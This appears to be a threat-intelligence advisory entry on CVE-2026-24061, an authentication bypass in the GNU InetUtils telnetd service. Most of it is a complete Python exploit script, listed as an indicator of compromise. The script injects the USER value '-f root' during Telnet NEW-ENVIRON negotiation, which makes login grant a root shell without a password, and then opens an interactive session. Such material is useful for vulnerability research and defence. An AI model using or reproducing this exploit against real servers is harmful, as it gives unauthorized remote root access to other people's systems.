GNU InetUtils version 2. 6 contains a remote privilege escalation vulnerability in its Telnet daemon (telnetd). This vulnerability allows an attacker to escalate privileges remotely by exploiting the telnetd service. Exploit code is publicly available in Python, indicating the vulnerability can be actively targeted. No official patch or vendor advisory information is currently provided.

AI Analysis

Indicators of Compromise

• exploit-code: # Exploit Title: GNU InetUtils telnetd - Remote Privilege Escalation # Date: 2026-01-24 # Exploit Author: Ali Guliyev (infat0x) # Author GitHub: https://github.com/infat0x # Vendor Homepage: https://www.gnu.org/software/inetutils/ # Software Link: https://ftp.gnu.org/gnu/inetutils/ # Version: GNU InetUtils 2.0 through 2.6 # Tested on: Linux (various distributions using vulnerable inetutils-telnetd) # CVE : CVE-2026-24061 import socket import sys import threading import argparse import re """ Description: The telnetd implementation in GNU InetUtils before 2.7-2 is vulnerable to authentication bypass via environment variable injection. By passing a crafted USER environment variable (e.g., "-f root") during the Telnet NEW-ENVIRON subnegotiation, an attacker can force the login process to grant a root shell without requiring a password. Technical Analysis: The vulnerability exists because telnetd fails to sanitize the USER variable before passing it as an argument to /bin/login. By prepending the -f flag, the login utility skips the authentication phase. """ # Telnet Protocol Constants (RFC 854) IAC = 255 # Interpret As Command DONT = 254 DO = 253 WONT = 252 WILL = 251 SB = 250 # Subnegotiation Begin SE = 240 # Subnegotiation End # Telnet Option Codes (RFC 1572) NEW_ENVIRON = 39 IS = 0 VAR = 0 VALUE = 1 def handle_negotiation(sock, cmd, opt): """Responds to standard Telnet negotiation sequences.""" if cmd == DO and opt == NEW_ENVIRON: # Agreement to use the environment variable passing option sock.sendall(bytes([IAC, WILL, NEW_ENVIRON])) elif cmd == DO: # Refuse other options for simplicity sock.sendall(bytes([IAC, WONT, opt])) elif cmd == WILL: # Acknowledge the server's willingness sock.sendall(bytes([IAC, DO, opt])) def handle_subnegotiation(sock, sb_data, user_payload): """Executes the core exploit by injecting the malformed USER variable.""" if len(sb_data) > 0 and sb_data[0] == NEW_ENVIRON: # Format: IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE env_msg = ( bytes([IAC, SB, NEW_ENVIRON, IS, VAR]) + b'USER' + bytes([VALUE]) + user_payload.encode('ascii') + bytes([IAC, SE]) ) sock.sendall(env_msg) def process_telnet_stream(data, sock, user_payload): """Parses incoming data to separate control signals from actual text.""" clean_output = b'' i = 0 while i < len(data): if data[i] == IAC and i + 1 < len(data): cmd = data[i + 1] if cmd in [DO, DONT, WILL, WONT] and i + 2 < len(data): handle_negotiation(sock, cmd, data[i + 2]) i += 3 elif cmd == SB: se_idx = i + 2 while se_idx < len(data) - 1: if data[se_idx] == IAC and data[se_idx + 1] == SE: break se_idx += 1 if se_idx < len(data) - 1: handle_subnegotiation(sock, data[i + 2:se_idx], user_payload) i = se_idx + 2 else: i += 1 else: i += 2 else: clean_output += bytes([data[i]]) i += 1 # Filter ANSI escape sequences for a cleaner shell experience ansi_escape = re.compile(rb'\x1b\[[0-?]*[ -/]*[@-~]') return ansi_escape.sub(b'', clean_output) def socket_reader_thread(sock, user_payload): """Background thread to handle server output.""" try: while True: raw_data = sock.recv(4096) if not raw_data: break display_data = process_telnet_stream(raw_data, sock, user_payload) if display_data: sys.stdout.buffer.write(display_data) sys.stdout.buffer.flush() except (ConnectionResetError, BrokenPipeError): pass finally: print("\n[*] Connection closed.") def main(): parser = argparse.ArgumentParser(description="CVE-2026-24061 Exploitation Tool") parser.add_argument('host', help="Target IP address") parser.add_argument('-p', '--port', type=int, default=23, help="Telnet port (default 23)") args = parser.parse_args() # The exploit payload to bypass login user_payload = "-f root" try: client_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_sock.settimeout(5) client_sock.connect((args.host, args.port)) client_sock.settimeout(None) print(f"[*] Connected to {args.host}:{args.port}") print(f"[*] Sending payload: {user_payload}") except Exception as e: print(f"[!] Connection failed: {e}") sys.exit(1) # Launch output listener threading.Thread(target=socket_reader_thread, args=(client_sock, user_payload), daemon=True).start() print("[*] Interactive session started. Type commands below.\n") try: while True: # Simple interactive shell loop char = sys.stdin.read(1) if not char: break client_sock.sendall(char.encode()) except KeyboardInterrupt: print("\n[*] Exploit session terminated by user.") finally: client_sock.close() if __name__ == "__main__": main()